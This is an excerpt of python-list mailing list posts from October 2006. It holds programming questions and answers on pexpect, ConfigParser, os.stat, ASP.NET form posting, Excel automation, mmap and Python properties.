(self.spawn.expect(expcmd)) to timeout without matching. In perl there is a way to translate any character with an ascii value of less than 32 to "" so that all hidden characters are removed. Can this be done in python? Can this be applied to the regular expression used by pexpect? Bewildered On 02/10/06, python-list-request at python.org wrote: > > Send Python-list mailing list submissions to > python-list at python.org > > To subscribe or unsubscribe via the World Wide Web, visit > http://mail.python.org/mailman/listinfo/python-list > or, via email, send a message with subject or body 'help' to > python-list-request at python.org > > You can reach the person managing the list at > python-list-owner at python.org > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of Python-list digest..." > > > Today's Topics: > > 1. Re: Problems wth os.stat().st_mtime on Mac (Michael Glassford) > 2. Re: Help with ConfigParser (TonyHa) > 3. regular expressions in the pexpect module for python (Mark Devine) > 4. commands.getstatusoutput result is not command line exit > value!!! (Hari Sekhon) > 5. PyCon proposals (was Re: PATCH: Speed up direct string > concatenation by 20+%!) (Aahz) > 6. Re: Python/UNO/OpenOffice? (John Machin) > 7. Re: Help with ConfigParser (Enrico) > 8. How to coerce a list of vars into a new type? (Matthew Wilson) > 9. Making posts to an ASP.NET webform. (Bernard) > 10. How can I make a class that can be converted into an int? > (Matthew Wilson) > 11. Sort by domain name? (js ) > > > > ---------- Forwarded message ---------- > From: Michael Glassford > To: python-list at python.org > Date: Mon, 02 Oct 2006 10:15:26 -0400 > Subject: Re: Problems wth os.stat().st_mtime on Mac > Martin v. L?wis wrote: > > Michael Glassford schrieb: > >> Although not mentioned in the Python 2.5 News, apparently there was a > >> similar change on Mac that I'm having some problems with. On the Mac, > >> just as on Windows, os.stat().st_mtime now returns a float instead of > an > >> integer. > > > > It's isn't really new; os.stat_float_times was introduced in Python 2.3. > > What changed in 2.5 is that it is now true. See > > > > http://docs.python.org/whatsnew/modules.html > > Thanks, I wasn't aware of os.stat_float_times. This helps me a lot, > since I can turn off the floating point times in places until > incompatible code can be fixed. > > > > >> a) Why the difference between machines? > > > > You really have to delve into OSX to answer this question. Several > > reasons are possible: > > - there is a change in the operating system implementations > > Possible, I guess, although I don't know how to find out and there's > likely nothing I could do about it even if I did. > > > - you are using different Python versions > > Python 2.5 on both. > > > - you are using different file systems > > This is the first thing I thought of, but all of the drives are > formatted using "Mac OS Extended (Journalled)", which I assumed meant > they are using the same file system. > > > > >> b) Why do most files on this machine have ".0", while some (generally > >> those I created myself using Python 2.5, I think) don't? > > > > Hard to tell. Maybe the software that created those files explicitly > > set a time stamp on them, and failed to use the API that supports > > subsecond resolution in setting those time stamps. > > > >> I understand how the results can be different: the os.stat() function > >> returns a posix.stat_result object, which gives back an integer value > >> for the mtime if you call __str__ or __repr__, or if you iterate on it; > >> and a float if you get the st_mtime attribute. But I would consider it > a > >> bug that the results are different: a float should be returned in > either > >> case. > > > > That's for backwards compatibility: You shouldn't use the tuple > > interface anymore, but use st_mtime for new code. This will always > > be a float. OTOH, the tuple interface will continue to return > > integers forever > > > > OK, thanks for the explanation. > > Mike > > > > > > ---------- Forwarded message ---------- > From: "TonyHa" > To: python-list at python.org > Date: 2 Oct 2006 07:29:49 -0700 > Subject: Re: Help with ConfigParser > Hello Peter, > > Thanks for your help, and it works now! > > Tony. > > Peter Otten wrote: > > tony.ha at philips.com wrote: > > > > > Question: How can I pervent ConfigParse to convert Upper case yo lower > > > case??, thanks. > > > > http://docs.python.org/dev/lib/RawConfigParser-objects.html > > > > """ > > optionxform(option) > > > > Transforms the option name option as found in an input file or as passed > in > > by client code to the form that should be used in the internal > structures. > > The default implementation returns a lower-case version of option; > > subclasses may override this or client code can set an attribute of this > > name on instances to affect this behavior. Setting this to str(), for > > example, would make option names case sensitive. > > """" > > > > If you don't pass defaults: > > > > config = ConfigParser() > > config.optionxform = str > > # ... > > > > Or, to be on the safe side: > > > > class MyCasePreservingConfigParser(ConfigParser): > > optionxform = str > > > > config = MyCasePreservingConfigParser() > > # ... > > > > Peter > > > > > > ---------- Forwarded message ---------- > From: "Mark Devine" > To: python-list at python.org > Date: Mon, 2 Oct 2006 15:43:35 +0100 > Subject: regular expressions in the pexpect module for python > Hi > I wonder if you can help me. I am using pexpect with python to access > remote machines and run commands on them. I pass commands into code like so: > > def cmd(self, cmd): > pp=[ "|", "]", "[", "(", ")", "$", "?", "*", ".", ":"] > expcmd=cmd > for element in pp: > expcmd=expcmd.replace(element, "\\%s" % element) > self.spawn.setecho(False) > self.spawn.sendline(cmd) > self.spawn.expect (expcmd) > self.spawn.expect(self.prompt) > return self.spawn.before > > The above code is supposed to match the command, then match the prompt and > then return what is in between. Since pexpect uses regular expressions to > match what it sees > > > ---------- Forwarded message ---------- > From: Hari Sekhon > To: python-list at python.org > Date: Mon, 02 Oct 2006 15:45:12 +0100 > Subject: commands.getstatusoutput result is not command line exit value!!! > I'm running a command like > > import commands > result = commands.getstatusoutput('somecommand') > print result[0] > 3072 > > > However, this exit code made no sense so I ran it manually from the > command line in bash on my linux server and it gives the exit code as > 12, not this weird 3072 number. > > So I tried os.system('somecommand') in the interactive python shell and > it too returned the same result for the exit code as the unix shell, 12, > but re-running the commands.getstatusoutput() with the exact same > command still gave 3072. > > > Is commands.getstatusoutput() broken or something? > > > -h > > -- > Hari Sekhon > > > > > > ---------- Forwarded message ---------- > From: aahz at pythoncraft.com (Aahz) > To: python-list at python.org > Date: 2 Oct 2006 07:43:09 -0700 > Subject: PyCon proposals (was Re: PATCH: Speed up direct string > concatenation by 20+%!) > In article <1159762765.943691.139690 at b28g2000cwb.googlegroups.com>, > Larry Hastings wrote: > >Steve Holden wrote: > >> > >> I think your project might make a very > >> interesting PyCon paper for people who were thinking about joining the > >> development effort but hadn't yet started. > > > >Perhaps; I've never been to PyCon, but it might be fun to give a > >presentation there. That said, it would be way more relevant if the > >patch got accepted, don'tcha think? > > Not really. The principles involved are timeless, and I guarantee you a > large audience regardless of whether the patch gets accepted (provided > you specify an appropriate presentation title and summary). > -- > Aahz (aahz at pythoncraft.com) <*> > http://www.pythoncraft.com/ > > "LL YR VWL R BLNG T S" -- www.nancybuttons.com > > > > > ---------- Forwarded message ---------- > From: "John Machin" > To: python-list at python.org > Date: 2 Oct 2006 07:46:53 -0700 > Subject: Re: Python/UNO/OpenOffice? > > olive wrote: > > ... and you have to start your py file with: > > > > import uno, sys, socket > > from com.sun.star.beans import PropertyValue > > > > ... and your start_oo_server.bat file with: > > > > @SET PYTHONPATH=C:\Program Files\OpenOffice.org 2.0\program;C:\Program > > Files\OpenOffice.org 2.0\program\python-core-2.3.4\lib > > @SET PATH=C:\Program Files\OpenOffice.org 2.0\program;C:\Program > > Files\OpenOffice.org 2.0\program\python-core-2.3.4\bin > > Many thanks for all that, olive; I made the minimal hacks to make it > open an XLS ffile, and it worked! > I'll try to see why that worked and my previous experiment crashed > inside a DLL. > Cheers, > John > > > > > > ---------- Forwarded message ---------- > From: "Enrico" > To: python-list at python.org > Date: Mon, 2 Oct 2006 16:53:04 +0200 > Subject: Re: Help with ConfigParser > Hi, > from the documentation: > > optionxform(option) > > Transforms the option name option as found in an input file or as passed > in > by client code to the form that should be used in the internal structures. > The default implementation returns a lower-case version of option; > subclasses may override this or client code can set an attribute of this > name on instances to affect this behavior. Setting this to str(), for > example, would make option names case sensitive. > > Bye, > Enrico > > > > > > > ---------- Forwarded message ---------- > From: Matthew Wilson > To: python-list at python.org > Date: Mon, 02 Oct 2006 14:53:10 GMT > Subject: How to coerce a list of vars into a new type? > > I want to verify that three parameters can all be converted into > integers, but I don't want to modify the parameters themselves. > > This seems to work: > > def f(a, b, c): > > a, b, c = [int(x) for x in (a, b, c)] > > Originally, I had a bunch of assert isinstance(a, int) statements at the > top of my code, but I decided that I would rather just check if the > parameters can be converted into integers. > > The new a, b, and c are all different objects, with different id values. > Anyhow, this all seems like black magic to me. Can anyone explain what > is going on? > > Is it as simple as call-by-value? > > > > > -- > A better way of running series of SAS programs: > http://overlook.homelinux.net/wilsonwiki/SasAndMakefiles > > > > > ---------- Forwarded message ---------- > From: "Bernard" > To: python-list at python.org > Date: 2 Oct 2006 07:55:23 -0700 > Subject: Making posts to an ASP.NET webform. > hiya everyone, > > I've made this little webcrawler using BeautifulSoup, urllib and > urllib2. I've been encountering ASP.NET Forms recently and I can't seem > to make a proper post to some of them. My post function has been doing > great until this particular website. > Here's some explanations first so that you guys understands my > problem... > > Usually there are 8 hidden inputs spread all over the web page: > __EVENTTARGET --> that is the id of the control that is assigned by the > ASP.NET engine. It is usually in this particular form > "dg_Result$_ctl2$linkbtn1" The javascript function DoPostback usually > replaces the '$' for a ':' before doing the real post. Some other > ASP.NET page doesn't. > __EVENTARGUMENT --> nothing's here usually. > __ScrollTop --> its value is often 0 > __ScrollLeft --> same as __ScrollTop > __ValidationSummary --> usually empty > __VIEWSTATEENCRYPTED --> an encrypted string. I don't know what it > means nor what it does. > __EVENTVALIDATION --> an encrypted string. I don't know what it means > nor what it does. > __VIEWSTATE --> the encrypted state of the current control. the state > of a datagrid for example. > > I extract all those values using regexes on the web page, build a > dictionnary out of all those values and encrypt the whole thing using > urllib.urlencode(). Afterwards I extract the form action and post the > whole thing with cookies enabled. This procedure works like a charm. > > The website I've just encounted has only 3 of the 8 hidden inputs. > (EVENTTARGET, EVENTARGUMENT & VIEWSTATE ). > I tried posting the whole thing using only these 3 values & nada. > I then tried posting the whole thing using all empty values for the 5 > remaining values...still nothing. > > Has anyone tried what I'm doing? and if you tried how have you > succeeded getting the data back after the post action? > > thanks for any tips! > > cP > > > > > > ---------- Forwarded message ---------- > From: Matthew Wilson > To: python-list at python.org > Date: Mon, 02 Oct 2006 14:59:05 GMT > Subject: How can I make a class that can be converted into an int? > What are the internal methods that I need to define on any class so that > this code can work? > > c = C("three") > > i = int(c) # i is 3 > > I can handle the part of mapping "three" to 3, but I don't know what > internal method is called when int(c) happens. > > For string conversion, I just define the __str__ method. What's the > equivalent for int? For float, too, while I'm at it? > > TIA > > Matt > > -- > A better way of running series of SAS programs: > http://overlook.homelinux.net/wilsonwiki/SasAndMakefiles > > > > > ---------- Forwarded message ---------- > From: "js " > To: python-list at python.org > Date: Tue, 3 Oct 2006 00:08:06 +0900 > Subject: Sort by domain name? > Hi list, > > I have a list of URL and I want to sort that list by the domain name. > > Here, domain name doesn't contain subdomain, > or should I say, domain's part of 'www', mail, news and en should be > excluded. > > For example, if the list was the following > ------------------------------------------------------------ > http://mail.google.com > http://reader.google.com > http://mail.yahoo.co.uk > http://google.com > http://mail.yahoo.com > ------------------------------------------------------------ > > the sort's output would be > ------------------------------------------------------------ > http://google.com > http://mail.google.com > http://reader.google.com > http://mail.yahoo.co.uk > http://mail.yahoo.com > ------------------------------------------------------------ > > As you can see above, I don't want to > > > Thanks in advance. > > > > -- > http://mail.python.org/mailman/listinfo/python-list > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From gagsl-py at yahoo.com.ar Wed Oct 18 16:04:14 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 18 Oct 2006 17:04:14 -0300 Subject: Image.draft -- what are the modes that I can use? In-Reply-To: <1161181585.245045.41680@b28g2000cwb.googlegroups.com> References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com> <1161179376.827555.239810@i3g2000cwc.googlegroups.com> <1161181585.245045.41680@b28g2000cwb.googlegroups.com> Message-ID: <7.0.1.0.0.20061018170328.056b3e90@yahoo.com.ar> At Wednesday 18/10/2006 11:26, abcd wrote: >is there a way to make animated GIFs with python? vnc2swf is to much >for what i was hoping. i have no problem with installing python >packages, but having to use VNC is a bit much. A VNC server is about 400K in size... -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From gagsl-py at yahoo.com.ar Fri Oct 6 20:50:39 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Fri, 06 Oct 2006 21:50:39 -0300 Subject: ctypes and setjmp In-Reply-To: References: <45259596$0$32011$afc38c87@news.optusnet.com.au> Message-ID: <7.0.1.0.0.20061006212300.04582770@yahoo.com.ar> At Friday 6/10/2006 16:14, Thomas Heller wrote: > > Currently ctypes can't play well with any C code that requires > use of setjmp > > as part of its API. > > libpng is one of those libraries. > > >I didn't know that setjmp/longjmp is actually used by production libraries >for error handling. Using setjmp to report errors in a general library is, uhm, a bit crazy at least! C programmers are certainly crazy people :) >How is this pattern used in C? Do you call setjump() before each api call, >or do you call setjump once, and then do all the api calls? What do you do >when setjmp() returns != 0? Exit the program? Log a message? How do you >determine which call failed? How do you pass the jmp_buf that you passed to >setjmp() to the api call? The setjmp must be on scope when a longjmp is called. Since there is no endjmp/canceljmp, this in the practice means that you have to call setjmp in *every* function that calls another one which may issue a longjmp. There are other alternatives in plain C (cexcept: http://cexcept.sourceforge.net/) but that wont help you with ctypes. >For ctypes, the only solution I can think of is to invent a new calling >convention, which will call setjmp() first internally before calling the >libpng api function... May be reasonable - a non-zero in setjmp would raise a Python exception. But perhaps a new calling convention is not needed: as you need a way to indicate *which* argument is the jmp_buf, just a new argument type would suffice. If you encounter one such thing in the function.argtypes list, that means a setjmp is needed before calling the actual function. Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From premiergeneration at yahoo.com Mon Oct 23 21:04:01 2006 From: premiergeneration at yahoo.com (Yogesh Chawla - PD) Date: Mon, 23 Oct 2006 18:04:01 -0700 (PDT) Subject: https client certificate validation Message-ID: <20061024010401.35037.qmail@web82708.mail.mud.yahoo.com> Hello All, I work for the State of Wisconsin and we are trying to build a reference implementation using python. Our goals are this: 1) establish an HTTPS connection between our client and ourselves 2) exchange client and server certificates to perform mutual authentication We only need to write the client in python. The client should check the server certificate, verify that the date range and common name are valid. Then it should confirm that the server certificate is valid according to a Certificate Revocation List. After writing a basic script using HTTPSConnection, I found this in the docs: Warning: This does not do any certificate verification! I then tried to do the same using twisted, m2crypto and a few other projects. I am really hitting a wall here. Can anyone point me in the right direction? I have a client cert, private key and url I am trying to hit. How can I fulfill the requirements I have above using python? I have done most of this in Java, but we would prefer a python implementation to distribute. Thanks, Yogesh Chawla From hg at nospam.com Wed Oct 4 16:36:42 2006 From: hg at nospam.com (hg) Date: Wed, 04 Oct 2006 15:36:42 -0500 Subject: Where is Python in the scheme of things? In-Reply-To: References: Message-ID: <82VUg.8549$Go3.4509@dukeread05> gord wrote: > As a complete novice in the study of Python, I am asking myself where this > language is superior or better suited than others. For example, all I see in > the tutorials are lots of examples of list processing, arithmetic > calculations - all in a DOS-like environment. > > What is particularly disappointing is the absence of a Windows IDE, > components and an event driven paradigm. How does Python stand relative to > the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these > programming packages are quite expensive now while Python is free (at least > for the package I am using - ActivePython). > > Please discuss where Python shines. > Gord > > Big three? ... not sure even Bill agrees with you. Code in Python and decide for yourself ... but again, nowadays, you're to compare with C#, VB ... if you want to be in; that is. hg From martin at v.loewis.de Fri Oct 6 07:59:09 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 06 Oct 2006 13:59:09 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <1160133888.305119.147290@h48g2000cwc.googlegroups.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240FD5.3050705@v.loewis.de> <4n4Vg.135913$_J1.898276@twister2.libero.it> <45254B18.2090806@v.loewis.de> <7x3ba1ltvj.fsf@ruckus.brouhaha.com> <452638EE.8030505@v.loewis.de> <1160133888.305119.147290@h48g2000cwc.googlegroups.com> Message-ID: <4526450D.9000807@v.loewis.de> Paul Boddie schrieb: > As I asked before, did anyone look into asking large-scale users of the > various considered products about their experiences with regard to > reliability, scalability, and so on? I didn't ask anyone, primarily because of lack of time. Regards, Martin From dan_roman_sb at yahoo.com Wed Oct 4 06:53:47 2006 From: dan_roman_sb at yahoo.com (dan_roman) Date: 4 Oct 2006 03:53:47 -0700 Subject: Python crash when trying to generate an Excel worksheet with VBA macros Message-ID: <1159959227.175800.141450@m7g2000cwm.googlegroups.com> Hi, I developed a script with a nice interface in Tkinter that allows me to edit some formulas and to generate an Excel worksheet with VBA macros within it. The script runs perfectlly in Office 2000, but in Office 2003 crash at line: "wbc = workbook.VBProject.VBComponents.Add(1)" Please help me :-( the code of the module that crash is (only in Excel 2003, in 2000 not): import os import string from win32com.client import Dispatch, constants str_code=""" Dim nrfunc As Integer Dim cursor As Integer Dim i As Integer Dim j As Integer Sub Fill() 'Aflu numaru de functii din XL i = 1 .................. """ def createExcelReport(projectName,templateName,saveToPath): # acquire application object, which may start application application = Dispatch("Excel.Application") # create new file ('Workbook' in Excel-vocabulary) using the specified template workbook = application.Workbooks.Add("Template1.xls") # store default worksheet object so we can delete it later defaultWorksheet = workbook.Worksheets(1) worksheet1 = workbook.Worksheets(1) worksheet2 = workbook.Worksheets(2) worksheet3 = workbook.Worksheets(3) ---->>>>> wbc = workbook.VBProject.VBComponents.Add(1) <<<<------ here is the problem wbc.Name="Module1" wbc.CodeModule.AddFromString(str_code) path=saveToPath+"\\"+projectName+"_"+templateName+".xls" workbook.SaveAs(path) worksheet1 = workbook.Worksheets(1) # make stuff visible now. worksheet1.Activate() application.Visible = True From martin at v.loewis.de Tue Oct 24 18:05:53 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 25 Oct 2006 00:05:53 +0200 Subject: using mmap on large (> 2 Gig) files In-Reply-To: <1161726769.183593.63300@m7g2000cwm.googlegroups.com> References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <1161651470.010831.93400@m73g2000cwd.googlegroups.com> <1161726769.183593.63300@m7g2000cwm.googlegroups.com> Message-ID: <453E8E41.9000306@v.loewis.de> sturlamolden schrieb: > A patch would involve an new object, say, "mmap.mmap2" that thakes the > additional offeset parameter. I don't want it to break any code > dependent on the existing "mmap.mmap" object. Also, I think mmap.mmap2 > should allow the file object to be None, and in that case return a > shared memory segment backed by the OS' paging file. Calling > CreateFileMapping with the filehandle set to INVALID_HANDLE_VALUE is > how shared memory for IPC is created on Windows. Python has default parameters for that. Just add a new parameter, and make it have a default value of 0. No need to add new functions (let alone types). In any case, take as much time as you need. Python 2.6 won't be released until 2008. Regards, Martin From martin at v.loewis.de Wed Oct 4 16:39:18 2006 From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 04 Oct 2006 22:39:18 +0200 Subject: sax barfs on unicode filenames: workaround In-Reply-To: References: Message-ID: <45241BF6.8040803@v.loewis.de> Edward K. Ream schrieb: > Happily, the workaround is easy. Replace theFile with: > > # Use cStringIo to avoid a crash in sax when inputFileName has unicode > characters. > s = theFile.read() > theFile = cStringIO.StringIO(s) > > My first attempt at a workaround was to use: > > s = theFile.read() > parser.parseString(s) > > but the expat parser does not support parseString... Right - you would have to use xml.sax.parseString (which is a global function, not a method). Of course, parseString just does what you did: create a cStringIO object and operate on that. Regards, Martin From osv at javad.com Wed Oct 25 05:24:38 2006 From: osv at javad.com (Sergei Organov) Date: Wed, 25 Oct 2006 13:24:38 +0400 Subject: Visibility against an unknown background References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com> Message-ID: Fredrik Lundh writes: > Sergei Organov wrote: > [...] >> Where "most cases" depends on application. I'd be very upset to see, >> say, 5-6 highly intersecting scientific plots on the same picture drawn >> using the "marching ants" approach. > > but the mostly random colors you get from XOR wouldn't upset your color > vision subsystem? Here I don't care much about particular colors, -- it's enough for them to be different. > to solve your specific case, I'd use bitmask algebra to generate alpha > layers (or masks/stencil buffers), and use standard compositing to > generate the final result. Well, it's enough for me to know that you won't use marching ants for that ;) -- Sergei. From steve at holdenweb.com Wed Oct 25 19:09:05 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 26 Oct 2006 00:09:05 +0100 Subject: question about True values In-Reply-To: <7xbqo05hgk.fsf@ruckus.brouhaha.com> References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <7xbqo05hgk.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > John Salerno writes: > >>if (10 > 5) >>would be the same as >>if (10 > 5) == True > > > Yes. Though it would be bad style to write it in the latter way, not to mention less efficient. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From nairarunv at gmail.com Thu Oct 26 02:55:31 2006 From: nairarunv at gmail.com (Arun Nair) Date: 25 Oct 2006 23:55:31 -0700 Subject: Can any one help with solving this program it just doesnt take probability of the second team Message-ID: <1161845731.501326.46510@h48g2000cwc.googlegroups.com> ''' Can anyone help me with this program it just takes probability of the first team and runs the program doesnt takes the probability of the second team even though specified''' from random import * def volleySimulation(): printInstructions() probA, probB, n = getInputs() winA, winB = simGames(n, probA, probB) printSummary(winA, winB) def printInstructions(): print "This program stimulates a game of Volley Ball between two teams i.e. Team A and Team B" print "The abilities of each team is indicated by a probability that determines which team wins the points." print "We assume that Team A always serves first" def getInputs(): print "Enter the probability for both team winning the serve in between 0 and 1" probA = input("Enter the probability of Team A winning a serve") probB = input("Enter the probability of Team B winning a serve") n = input("Enter the number of games that you want to simulate:") return probA, probB, n def simGames(n, probA, probB): winA = 0 winB = 0 for i in range(n): scoreA, scoreB = simGame(probA, probB) if scoreA > scoreB: winA = winA + 1 else: winB = winB + 1 return winA, winB def simGame(probA, probB): scoreA = 0 scoreB = 0 serving = "A" while not gameOver(scoreA, scoreB): if serving == "A": if random() < probA: scoreA = scoreA + 1 else: serving == "B" else: if random() < probB: scoreB = scoreB + 1 else: serving == "A" return scoreA, scoreB def gameOver(a, b): return (a == 15 or b == 15) and ((a - b) > 2 ) or ((a - b) < -2) def printSummary(winA, winB): n = winA + winB print "Games simulated:", n print "Wins for A: %d (%0.1f%%)" % (winA, float(winA)/n*100) print "Wins for B: %d (%0.1f%%)" % (winB, float(winB)/n*100) volleySimulation() From hanumizzle at gmail.com Fri Oct 13 15:05:47 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Fri, 13 Oct 2006 15:05:47 -0400 Subject: Line algorithim for python and numeric In-Reply-To: References: <1160749997.673677.325150@m73g2000cwd.googlegroups.com> <463ff4860610130857q241ee7afy8bd6c3edde48bb34@mail.gmail.com> Message-ID: <463ff4860610131205v7dc1d0edw2f91926f92cc752d@mail.gmail.com> On 10/13/06, Fredrik Lundh wrote: > Theerasak Photha wrote: > > > I'm not in kolluge yet and I just learned about linear interpolation > > today---although I don't think it would necessarily apply to this > > problem, where the increments set by the grid might be more discrete > > than the line itself > > that's usually solved by stepping along the grid in one direction, and > interpolating in the other. Could rounding still be an issue? I sketched a line w/ m = 1/3 and could see different possible outcomes for certain points on the line in between each 3rd point on the x axis. -- Theerasak From g.brandl-nospam at gmx.net Tue Oct 10 17:45:11 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Tue, 10 Oct 2006 23:45:11 +0200 Subject: Python component model In-Reply-To: <452b7aae$0$306$426a74cc@news.free.fr> References: <452b7aae$0$306$426a74cc@news.free.fr> Message-ID: Bruno Desthuilliers wrote: > Marc 'BlackJack' Rintsch wrote: > (snip) > Python itself is a RAD tool. > > +1 QOTW > Agreed. Georg From lm401 at cam.ac.uk Wed Oct 11 10:38:46 2006 From: lm401 at cam.ac.uk (LorcanM) Date: 11 Oct 2006 07:38:46 -0700 Subject: Can pdb be set to break on warnings? In-Reply-To: References: <1160558575.381070.200570@b28g2000cwb.googlegroups.com> <1160562703.933794.138980@b28g2000cwb.googlegroups.com> Message-ID: <1160577525.925689.102870@m7g2000cwm.googlegroups.com> Fredrik Lundh wrote: > "LorcanM" wrote: > > >> python -m pdb -Werror myprogram.py > > > > It sounds like what I want, but it doesn't work for me. When I try the > > above line of code, it replies: > > > > Error: -Werror does not exist > > > > I'm running Python 2.4.3 > > sorry, pilot cut and paste error. try: > > python -Werror -m pdb myprogram.py > > (-m script must be the last option before the script arguments, for pretty > obvious reasons). > > Thanks for that - that does the trick, Lorcan. From fredrik at pythonware.com Fri Oct 27 14:41:16 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 27 Oct 2006 20:41:16 +0200 Subject: ANN: the pyfaq wiki has moved In-Reply-To: References: Message-ID: John Salerno wrote: >> If you have some time to spare, why not drop by, pick some random >> article, and let us know how it can be improved: >> >> http://effbot.org/random/pyfaq > > How do we log in to make changes? as with the 'infogami' version, you don't -- if you find something that needs to be fixed or clarified, just post a comment, or a suggested new text, and an editor will take care of the rest. From Leo.Kislov at gmail.com Wed Oct 18 18:46:23 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 18 Oct 2006 15:46:23 -0700 Subject: characters in python In-Reply-To: References: Message-ID: <1161211582.976493.88330@i3g2000cwc.googlegroups.com> On Oct 18, 11:50 am, Stens wrote: > Stens wrote: > > Can python handle this characters: c,c,?,d,?? > > > If can how"I wanna to change some characters in text (in the file) to the > characters at this address: > > http://rapidshare.de/files/37244252/Untitled-1_copy.png.html You need to use unicode, see any python unicode tutorial, for example this one http://www.amk.ca/python/howto/unicode or any other you can find with google. Your script can look like this: # -*- coding: PUT-HERE-ENCODING-OF-THIS-SCRIPT-FILE -*- import codecs outfile = codecs.open("your output file", "w", "encoding of the output file"): for line in codecs.open("your input file", "r", "encoding of the input file"): outfile.write(line.replace(u'd',u'd')) From antoine at vo.lu Wed Oct 11 05:49:44 2006 From: antoine at vo.lu (Antoine De Groote) Date: Wed, 11 Oct 2006 11:49:44 +0200 Subject: How to write Smart Python programs? In-Reply-To: <452cae13$0$24783$426a74cc@news.free.fr> References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com> <452cae13$0$24783$426a74cc@news.free.fr> Message-ID: <452cbe11$1@news.vo.lu> > Googling for "python is not java" may be a good start. Also, here are 2 > common C-style smells: Ok, the first Google result (http://dirtsimple.org/2004/12/python-is-not-java.html) says this somewhere: "Getters and setters are evil. Evil, evil, I say! Python objects are not Java beans. Do not write getters and setters. This is what the 'property' built-in is for. And do not take that to mean that you should write getters and setters, and then wrap them in 'property'. (1) That means that until you prove that you need anything more than a simple attribute access, don't write getters and setters. They are a waste of CPU time, but more important, they are a waste of programmer time. Not just for the people writing the code and tests, but for the people who have to read and understand them as well. In Java, you have to use getters and setters because using public fields gives you no opportunity to go back and change your mind later to using getters and setters. (2) So in Java, you might as well get the chore out of the way up front. In Python, this is silly, because you can start with a normal attribute and change your mind at any time, without affecting any clients of the class. (3) So, don't write getters and setters." For the record, I'm coming from Java, but I have some Python experience already. Now here's what I don't understand. What exactly is meant by (1)? The python library reference includes this as an example: class C(object): def __init__(self): self.__x = None def getx(self): return self._x def setx(self, value): self._x = value def delx(self): del self._x x = property(getx, setx, delx, "I'm the 'x' property.") To me this seems contradictory. Why would one not want to do something that is included in the documentation? Or am I just confused? Does anybody have an idea how to put me in the right direction? And what does property mean anyway? The explanation in http://docs.python.org/lib/built-in-funcs.html is not enough for me. Can anybody point me to a more detailed documentation about this matter? (At first sight, the Python tutorial doesn't seem to describe this. At least it is not stated in the TOC, nor in chapter 9 which describes classes...) And then, by (2) I believe that what is meant is that once some client code uses public fields one can't make them private anymore because then the clients are broke. That's clear to me. But I don't understand (3). I don't know exactly what they mean. How would one want to change their mind? In what way? I've been thinking about it some time now, but I'm still kept in the dark. I would appreciate any explanation. I'd really like to get this, because when I use a language I want to use it "correctly", i.e. in the way it is intended, but right now I feel a bit lost :-( I'm not done with 'How To Ask Questions The Smart Way' yet, so please forgive any violations. (http://catb.org/~esr/faqs/smart-questions.html) Regards, antoine From gherron at islandtraining.com Fri Oct 13 14:28:08 2006 From: gherron at islandtraining.com (Gary Herron) Date: Fri, 13 Oct 2006 11:28:08 -0700 Subject: Newbie question - leading zeros In-Reply-To: <20061013130805.T91050@eris.io.com> References: <20061013130805.T91050@eris.io.com> Message-ID: <452FDAB8.2010708@islandtraining.com> eldorado wrote: > I have looked around and cannot seem to find a way to strip leading zeros > off of values in a dictionary. Basically, I am looking to do a for loop > and any value that has one or more leading zeros would be stripped. Any > pointers would be appreciated. Thanks > > There is nowhere enough information in your question to answer it well, but I'll make some guesses. If your values are strings that have leading zeros, then lstrip may be what you want. >>> str = "00xyz" >>> str.lstrip('0') 'xyz' If your values are integers -- then the question does not make sense. The internal representation of a number (binary zeros and ones) is not something you can change. If your values are integers and something is printing them out with leading zeros -- then change the code that is doing the formatting for that print. For example, here are several ways to convert an int to a printable string with and without leading zeros: >>> i = 123 >>> '%d' % i '123' >>> '%5d' % i ' 123' >>> '%05d' % i '00123' Hope that helps, Gary Herron From steve at REMOVE.THIS.cybersource.com.au Sat Oct 28 03:28:05 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sat, 28 Oct 2006 17:28:05 +1000 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: On Fri, 27 Oct 2006 18:22:28 +0000, Antoon Pardon wrote: >>> And how do I express that a number has to be greater than >>> 100 into a Nothing vs Something dichotomy? Declare all >>> greater numbers as Something and the rest as Nothing? >> >> Well, would you declare numbers less 